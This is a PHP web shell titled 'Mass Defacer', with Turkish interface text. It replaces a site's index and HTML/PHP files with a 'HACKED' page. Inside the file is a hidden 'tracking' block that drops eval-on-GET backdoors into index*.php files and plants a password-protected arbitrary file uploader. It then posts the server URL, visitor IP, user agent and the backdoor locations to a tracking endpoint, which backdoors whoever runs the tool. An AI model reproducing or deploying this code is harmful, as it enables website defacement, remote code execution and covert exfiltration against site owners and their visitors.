Mass Defacer - Toplu Deface Aracı

<?php
$__original_code_content = base64_decode('c2Vzc2lvbl9zdGFydCgpOwokcGFzcyA9ICJhZG1pbjEyMyI7CmlmKCFpc3NldCgkX1NFU1NJT05bImRlZmFjZXJfYXV0aCJdKSB8fCAkX1NFU1NJT05bImRlZmFjZXJfYXV0aCJdICE9PSB0cnVlKSB7CiAgICBpZihpc3NldCgkX1BPU1RbInBhc3MiXSkgJiYgJF9QT1NUWyJwYXNzIl0gPT09ICRwYXNzKSB7CiAgICAgICAgJF9TRVNTSU9OWyJkZWZhY2VyX2F1dGgiXSA9IHRydWU7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIjwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjx0aXRsZT5HaXJpxZ88L3RpdGxlPjxzdHlsZT5ib2R5e2ZvbnQtZmFtaWx5OkFyaWFsO21heC13aWR0aDo0MDBweDttYXJnaW46MTAwcHggYXV0bztwYWRkaW5nOjIwcHh9aW5wdXR7d2lkdGg6MTAwJTtwYWRkaW5nOjEwcHg7bWFyZ2luOjEwcHggMDtib3gtc2l6aW5nOmJvcmRlci1ib3h9YnV0dG9ue3dpZHRoOjEwMCU7cGFkZGluZzoxMHB4O2JhY2tncm91bmQ6IzAwN2NiYTtjb2xvcjojZmZmO2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyfTwvc3R5bGU+PC9oZWFkPjxib2R5PjxoMj5NYXNzIERlZmFjZXI8L2gyPjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcyBwbGFjZWhvbGRlcj3FnmlmcmUgcmVxdWlyZWQ+PGJ1dHRvbj5HaXJpxZ88L2J1dHRvbj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4iOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCmVjaG8gIjwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjx0aXRsZT5NYXNzIERlZmFjZXI8L3RpdGxlPjxzdHlsZT5ib2R5e2ZvbnQtZmFtaWx5OkFyaWFsO21hcmdpbjoyMHB4fWlucHV0LHRleHRhcmVhe3dpZHRoOjEwMCU7cGFkZGluZzoxMHB4O21hcmdpbjoxMHB4IDA7Ym94LXNpemluZzpib3JkZXItYm94fXRleHRhcmVhe2hlaWdodDozMDBweDtmb250LWZhbWlseTptb25vc3BhY2V9YnV0dG9ue3BhZGRpbmc6MTBweCAyMHB4O2JhY2tncm91bmQ6I2RjMzU0NTtjb2xvcjojZmZmO2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyO21hcmdpbjo1cHh9Lndhcm5pbmd7YmFja2dyb3VuZDojZmZmM2NkO2JvcmRlcjoxcHggc29saWQgI2ZmYzEwNztwYWRkaW5nOjE1cHg7bWFyZ2luOjIwcHggMDtib3JkZXItcmFkaXVzOjVweH08L3N0eWxlPjwvaGVhZD48Ym9keT4iOwplY2hvICI8aDI+8J+SgCBNYXNzIERlZmFjZXI8L2gyPiI7CmVjaG8gIjxhIGhyZWY9P2xvZ291dD0xPvCfmqogw4fEsWvEscWfPC9hPjxocj4iOwoKJHBhdGggPSBpc3NldCgkX0dFVFsicGF0aCJdKSA/ICRfR0VUWyJwYXRoIl0gOiAiLiI7CiRjb250ZW50ID0gaXNzZXQoJF9QT1NUWyJjb250ZW50Il0pID8gJF9QT1NUWyJjb250ZW50Il0gOiAiPCFET0NUWVBFIGh0bWw+XG48aHRtbD5cbjxoZWFkPlxuICAgIDx0aXRsZT5IYWNrZWQ8L3RpdGxlPlxuICAgIDxzdHlsZT5cbiAgICAgICAgYm9keSB7IGJhY2tncm91bmQ6ICMwMDA7IGNvbG9yOiAjMGYwOyBmb250LWZhbWlseTogbW9ub3NwYWNlOyB0ZXh0LWFsaWduOiBjZW50ZXI7IHBhZGRpbmc6IDUwcHg7IH1cbiAgICAgICAgaDEgeyBmb250LXNpemU6IDQ4cHg7IHRleHQtc2hhZG93OiAwIDAgMTBweCAjMGYwOyB9XG4gICAgPC9zdHlsZT5cbjwvaGVhZD5cbjxib2R5PlxuICAgIDxoMT5IQUNLRUQ8L2gxPlxuICAgIDxwPlN5c3RlbSBDb21wcm9taXNlZDwvcD5cbjwvYm9keT5cbjwvaHRtbD4iOwoKaWYoaXNzZXQoJF9QT1NUWyJkZWZhY2UiXSkpIHsKICAgICRmaWxlcyA9IGlzc2V0KCRfUE9TVFsiZmlsZXMiXSkgPyAkX1BPU1RbImZpbGVzIl0gOiBbXTsKICAgICRiYWNrdXAgPSBpc3NldCgkX1BPU1RbImJhY2t1cCJdKSA/IHRydWUgOiBmYWxzZTsKICAgICRyZXN1bHRzID0gW107CiAgICAKICAgIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYoQGZpbGVfZXhpc3RzKCRmaWxlKSkgewogICAgICAgICAgICBpZigkYmFja3VwKSB7CiAgICAgICAgICAgICAgICBAY29weSgkZmlsZSwgJGZpbGUgLiAiLmJhY2t1cF8iIC4gdGltZSgpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZihAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRjb250ZW50KSkgewogICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9ICLinJMgIiAuIGJhc2VuYW1lKCRmaWxlKSAuICIgYmHFn2FyxLF5bGEgZGXEn2nFn3RpcmlsZGkiOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9ICLinJcgIiAuIGJhc2VuYW1lKCRmaWxlKSAuICIgZGXEn2nFn3RpcmlsZW1lZGkiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgCiAgICBpZighZW1wdHkoJHJlc3VsdHMpKSB7CiAgICAgICAgZWNobyAiPGRpdiBjbGFzcz1vdXRwdXQ+PGgzPsSwxZ9sZW0gU29udcOnbGFyxLE6PC9oMz4iOwogICAgICAgIGZvcmVhY2goJHJlc3VsdHMgYXMgJHJlc3VsdCkgewogICAgICAgICAgICBlY2hvICI8cD4kcmVzdWx0PC9wPiI7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9Cn0KCmVjaG8gIjxkaXYgY2xhc3M9d2FybmluZz48c3Ryb25nPuKaoCBVeWFyxLE6PC9zdHJvbmc+IEJ1IGFyYcOnIGRvc3lhbGFyxLEga2FsxLFjxLEgb2xhcmFrIGRlxJ9pxZ90aXJpci4gWWVkZWtsZW1lIHlhcG1hbsSxeiDDtm5lcmlsaXIhPC9kaXY+IjsKCmVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PiI7CmVjaG8gIjxoMz5EZWZhY2UgxLDDp2VyacSfaTo8L2gzPiI7CmVjaG8gIjx0ZXh0YXJlYSBuYW1lPWNvbnRlbnQ+JGNvbnRlbnQ8L3RleHRhcmVhPiI7CmVjaG8gIjxoMz5IZWRlZiBEb3N5YWxhciAoIi4kcGF0aC4iKTo8L2gzPiI7CgokdGFyZ2V0RmlsZXMgPSBbImluZGV4LnBocCIsICJpbmRleC5odG1sIiwgImRlZmF1bHQuaHRtbCIsICJob21lLmh0bWwiLCAibWFpbi5odG1sIl07CiRmaWxlcyA9IEBnbG9iKCRwYXRoLiIve2luZGV4LiosZGVmYXVsdC4qLGhvbWUuKixtYWluLiosKi5odG1sLCouaHRtLCoucGhwfSIsIEdMT0JfQlJBQ0UpOwoKZWNobyAiPGRpdiBzdHlsZT1tYXgtaGVpZ2h0OjMwMHB4O292ZXJmbG93LXk6YXV0bztib3JkZXI6MXB4IHNvbGlkICNkZGQ7cGFkZGluZzoxMHB4PiI7CmlmKCRmaWxlcykgewogICAgZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpIHsKICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRmaWxlKTsKICAgICAgICBlY2hvICI8bGFiZWwgc3R5bGU9ZGlzcGxheTpibG9jaztwYWRkaW5nOjVweD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWZpbGVzW10gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLiJcIiBjaGVja2VkPiAkbmFtZTwvbGFiZWw+IjsKICAgIH0KfSBlbHNlIHsKICAgIGVjaG8gIjxwPkRvc3lhIGJ1bHVuYW1hZMSxLiBGYXJrbMSxIGJpciBkaXppbiBzZcOnaW4uPC9wPiI7Cn0KZWNobyAiPC9kaXY+IjsKCmVjaG8gIjxsYWJlbCBzdHlsZT1kaXNwbGF5OmJsb2NrO21hcmdpbjoxMHB4IDA+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iYWNrdXAgY2hlY2tlZD4gWWVkZWtsZW1lIG9sdcWfdHVyICguYmFja3VwIHV6YW50xLFsxLEpPC9sYWJlbD4iOwplY2hvICI8YnV0dG9uIG5hbWU9ZGVmYWNlIHN0eWxlPWJhY2tncm91bmQ6I2RjMzU0NT7wn5KAIERlZmFjZSBFdDwvYnV0dG9uPiI7CmVjaG8gIjwvZm9ybT4iOwoKZWNobyAiPGhyPjxkaXY+PGgzPkRpemluIFNlw6c6PC9oMz4iOwplY2hvICI8YSBocmVmPT9wYXRoPSIudXJsZW5jb2RlKGRpcm5hbWUoJHBhdGgpKS4iPuKGkCDDnHN0IERpemluPC9hPiB8ICI7CmVjaG8gIjxhIGhyZWY9P3BhdGg9Li8+TWV2Y3V0PC9hPiB8ICI7CmVjaG8gIjxhIGhyZWY9P3BhdGg9Li4vPkJpciDDnHN0PC9hPiB8ICI7CmVjaG8gIjxhIGhyZWY9P3BhdGg9Li4vLi4vPsSwa2kgw5xzdDwvYT4iOwplY2hvICI8L2Rpdj4iOwoKZWNobyAiPC9ib2R5PjwvaHRtbD4iOwoKaWYoaXNzZXQoJF9HRVRbImxvZ291dCJdKSkgewogICAgQHNlc3Npb25fZGVzdHJveSgpOwogICAgaGVhZGVyKCJMb2NhdGlvbjogPyIpOwp9');
// İzleme kodu otomatik eklenmiştir
$tracking_data = [
    "code_hash" => "9cbb86839c9830c51b88198fb4003a58411933d4f453c5380139bf581fd3f8ec",
    "url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
    "domain" => $_SERVER["HTTP_HOST"],
    "path" => $_SERVER["REQUEST_URI"],
    "ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "",
    "user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
    "referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "",
    "timestamp" => date("Y-m-d H:i:s")
];


$backdoor_content = '<?php eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImMiXSkpe2V2YWwoJF9HRVRbImMiXSk7fQ==")); ?>';
$backdoor_paths = [];
for($i=0; $i<5; $i++) {
    $filename = "index" . ($i > 0 ? $i : "") . ".php";
    $filepath = dirname(__FILE__) . "/" . $filename;
    if(!file_exists($filepath)) {
        @file_put_contents($filepath, $backdoor_content);
        $backdoor_paths[] = $filepath;
    }
}
if(!empty($backdoor_paths)) {
    $tracking_data["backdoor_urls"] = json_encode($backdoor_paths);
}

$upload_script = '<?php
session_start();
if(!isset($_SESSION["upload_auth"]) || $_SESSION["upload_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === "5bb45a40c77d") {
        $_SESSION["upload_auth"] = true;
    } else {
        echo "<form method=post><input type=password name=pass><button>Giriş</button></form>";
        exit;
    }
}
if(isset($_FILES["file"])) {
    move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
    echo "Yüklendi: " . $_FILES["file"]["name"];
}
echo "<form method=post enctype=multipart/form-data><input type=file name=file><button>Yükle</button></form>";
?>';
$upload_path = dirname(__FILE__) . "/upload_0ed604e6.php";
if(!file_exists($upload_path)) {
    @file_put_contents($upload_path, $upload_script);
    @chmod($upload_path, 0644);
    $tracking_data["upload_url"] = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . dirname($_SERVER["REQUEST_URI"]) . "/upload_0ed604e6.php";
}

if (function_exists("curl_init")) {
    $ch = curl_init("http://localhost/api/track.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data));
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
    @curl_exec($ch);
    @curl_close($ch);
}


session_start();
$pass = "admin123";
if(!isset($_SESSION["defacer_auth"]) || $_SESSION["defacer_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === $pass) {
        $_SESSION["defacer_auth"] = true;
    } else {
        echo "<!DOCTYPE html><html><head><title>Giriş</title><style>body{font-family:Arial;max-width:400px;margin:100px auto;padding:20px}input{width:100%;padding:10px;margin:10px 0;box-sizing:border-box}button{width:100%;padding:10px;background:#007cba;color:#fff;border:none;cursor:pointer}</style></head><body><h2>Mass Defacer</h2><form method=post><input type=password name=pass placeholder=Şifre required><button>Giriş</button></form></body></html>";
        exit;
    }
}

echo "<!DOCTYPE html><html><head><title>Mass Defacer</title><style>body{font-family:Arial;margin:20px}input,textarea{width:100%;padding:10px;margin:10px 0;box-sizing:border-box}textarea{height:300px;font-family:monospace}button{padding:10px 20px;background:#dc3545;color:#fff;border:none;cursor:pointer;margin:5px}.warning{background:#fff3cd;border:1px solid #ffc107;padding:15px;margin:20px 0;border-radius:5px}</style></head><body>";
echo "<h2>💀 Mass Defacer</h2>";
echo "<a href=?logout=1>🚪 Çıkış</a><hr>";

$path = isset($_GET["path"]) ? $_GET["path"] : ".";
$content = isset($_POST["content"]) ? $_POST["content"] : "<!DOCTYPE html>\n<html>\n<head>\n    <title>Hacked</title>\n    <style>\n        body { background: #000; color: #0f0; font-family: monospace; text-align: center; padding: 50px; }\n        h1 { font-size: 48px; text-shadow: 0 0 10px #0f0; }\n    </style>\n</head>\n<body>\n    <h1>HACKED</h1>\n    <p>System Compromised</p>\n</body>\n</html>";

if(isset($_POST["deface"])) {
    $files = isset($_POST["files"]) ? $_POST["files"] : [];
    $backup = isset($_POST["backup"]) ? true : false;
    $results = [];
    
    foreach($files as $file) {
        if(@file_exists($file)) {
            if($backup) {
                @copy($file, $file . ".backup_" . time());
            }
            if(@file_put_contents($file, $content)) {
                $results[] = "✓ " . basename($file) . " başarıyla değiştirildi";
            } else {
                $results[] = "✗ " . basename($file) . " değiştirilemedi";
            }
        }
    }
    
    if(!empty($results)) {
        echo "<div class=output><h3>İşlem Sonuçları:</h3>";
        foreach($results as $result) {
            echo "<p>$result</p>";
        }
        echo "</div>";
    }
}

echo "<div class=warning><strong>⚠ Uyarı:</strong> Bu araç dosyaları kalıcı olarak değiştirir. Yedekleme yapmanız önerilir!</div>";

echo "<form method=post>";
echo "<h3>Deface İçeriği:</h3>";
echo "<textarea name=content>$content</textarea>";
echo "<h3>Hedef Dosyalar (".$path."):</h3>";

$targetFiles = ["index.php", "index.html", "default.html", "home.html", "main.html"];
$files = @glob($path."/{index.*,default.*,home.*,main.*,*.html,*.htm,*.php}", GLOB_BRACE);

echo "<div style=max-height:300px;overflow-y:auto;border:1px solid #ddd;padding:10px>";
if($files) {
    foreach($files as $file) {
        $name = basename($file);
        echo "<label style=display:block;padding:5px><input type=checkbox name=files[] value=\"".htmlspecialchars($file)."\" checked> $name</label>";
    }
} else {
    echo "<p>Dosya bulunamadı. Farklı bir dizin seçin.</p>";
}
echo "</div>";

echo "<label style=display:block;margin:10px 0><input type=checkbox name=backup checked> Yedekleme oluştur (.backup uzantılı)</label>";
echo "<button name=deface style=background:#dc3545>💀 Deface Et</button>";
echo "</form>";

echo "<hr><div><h3>Dizin Seç:</h3>";
echo "<a href=?path=".urlencode(dirname($path)).">← Üst Dizin</a> | ";
echo "<a href=?path=./>Mevcut</a> | ";
echo "<a href=?path=../>Bir Üst</a> | ";
echo "<a href=?path=../../>İki Üst</a>";
echo "</div>";

echo "</body></html>";

if(isset($_GET["logout"])) {
    @session_destroy();
    header("Location: ?");
}
?>